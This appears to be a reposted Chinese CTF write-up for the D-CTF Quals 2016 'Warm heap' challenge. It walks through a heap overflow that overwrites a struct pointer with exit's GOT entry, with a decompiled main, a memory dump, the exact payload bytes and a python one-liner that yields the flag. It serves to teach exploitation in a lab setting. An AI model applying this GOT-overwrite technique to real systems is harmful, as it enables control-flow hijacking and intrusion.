D-CTF Quals 2016 - Warm heap
2017-06-18 16:24
567 查看
原文地址:https://thegoonies.rocks/d-ctf-quals-2016-warm-heap-exploit/
文件下载地址:https://github.com/BBS-Bill-Gates/2016-CTF-WriteUp
checksec:
可以看到CANARY没开,可是分析源程序可以这个没什么用,这个不是栈溢出,而是一个堆溢出.
何为堆?何为栈?
答:堆是动态分配内存,栈是静态分配内存.举个最常用的例子就是.数组和mallc.数组是静态分配的,一旦分配其大小就不能改变了.而经malloc分配的大小是可以改变的,于是就有了realloc函数.
IDA PRO后的main函数:
分配的堆大小为8,fget的大小可以为0x1000,明显有猫腻.
接下来接着分析a,b两个结构体之后,fget之前内存中的分布:
由于第一次strcpy的长度大于malloc申请的长度,我有就有可能复写0x602058处的地址,修改0x00602070.
接下来的思路就是:
第一次输入:通过输入过长的内容,将0x602058处的内容修改为一个exit的got值(0x601068).
第二次输入:输入0x400826(输出flag值的汇编代码段)
观察上面贴出来的内存段,发现0x602058与0x602030相差0x28=40,
所以第一次输入的内容就为:
第二次输入:
总结下来:
结果:DCTF{b94c21ff7531cba35a498cb074918b3e}
文件下载地址:https://github.com/BBS-Bill-Gates/2016-CTF-WriteUp
checksec:
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
可以看到CANARY没开,可是分析源程序可以这个没什么用,这个不是栈溢出,而是一个堆溢出.
何为堆?何为栈?
答:堆是动态分配内存,栈是静态分配内存.举个最常用的例子就是.数组和mallc.数组是静态分配的,一旦分配其大小就不能改变了.而经malloc分配的大小是可以改变的,于是就有了realloc函数.
IDA PRO后的main函数:
struct foo { int64 count; void* ptr; }; struct foo* a = malloc(16); // rbp-0x1020 a.count = 1; a.ptr = malloc(8); struct foo* b = malloc(16); // rbp-0x1018 b.count = 2; b.ptr = malloc(8); char buf[0x1000]; fgets(buf, 0x1000, stdin); strcpy(a.ptr, buf); fgets(buf, 0x1000, stdin); strcpy(b.ptr, buf); exit();
分配的堆大小为8,fget的大小可以为0x1000,明显有猫腻.
接下来接着分析a,b两个结构体之后,fget之前内存中的分布:
0x601ff0: 0x0000000000000000 0x0000000000000000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000001 0x0000000000602030 0x602020: 0x0000000000000000 0x0000000000000021 0x602030: 0x00000a6f6c6c6568 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000021 0x602050: 0x0000000000000002 0x0000000000602070 0x602060: 0x0000000000000000 0x0000000000000021 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000411 0x602090: 0x00000a6f6c6c6568 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 &a.count=0x602010 &a.ptr =0x602030 &a.count=0x602050 &a.ptr =0x602070
strcpy(a.ptr, buf);//将buf中的内容赋给a.ptr
当strcpy(b.ptr, buf);时,程序会取得0x602058处的地址0x0000000000602070,然后将buf中的内容赋给0x0000000000602070处
由于第一次strcpy的长度大于malloc申请的长度,我有就有可能复写0x602058处的地址,修改0x00602070.
接下来的思路就是:
第一次输入:通过输入过长的内容,将0x602058处的内容修改为一个exit的got值(0x601068).
第二次输入:输入0x400826(输出flag值的汇编代码段)
观察上面贴出来的内存段,发现0x602058与0x602030相差0x28=40,
所以第一次输入的内容就为:
"A"*40+"\x68\x10\x60\x00\x00\x00\x00\x00"
第二次输入:
"\x26\x08\x40"
总结下来:
python -c 'print "A"*40+"\x68\x10\x60\x00\x00\x00\x00\x00"+"\n"+"\x26\x08\x40"'
结果:DCTF{b94c21ff7531cba35a498cb074918b3e}
相关文章推荐
- 2016_CSAW_CTF_Quals_Reverse_Rock100 Writeup
- volga-ctf-quals-2016 pwn web_of_scicen_250 writeup
- 2016 ISCC CTF 比赛 BASE 心灵鸡汤
- [置顶] CTF--2016中国西安西电华山杯网络安全技能大赛之crackme6
- 2016xctf一道ctf题目
- Nuit du Hack CTF Quals 2018 writeup (web)
- 2016 西普杯丶天津CTF预选赛(3/6)
- IceCTF 2016
- hctf2016_302跳转绕csp---总结
- CTF练习-TU-CTF-2016 pwn BBYS-first-elf-25 记录
- [ICECTF 2016] [CRYPTO 140 – SAND CASTLE] WRITE UP
- TWCTF 2016 (Tokyo Westerns CTF ) WEB WriteUp
- 小菜一碟 - WHCTF - 2016 - Reverse
- CTF练习 TU-ctf-2016 pwn woO-50
- WP 4 i春秋_internetwache-ctf-2016
- ZCTF - 2016 - Reverse100
- defcon quals 2016 feedme writeup
- 0CTF 2016 RSA?(未完成)
- 2016 安全圈玩起了直播,“学霸”带你玩转CTF_i春秋学院
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp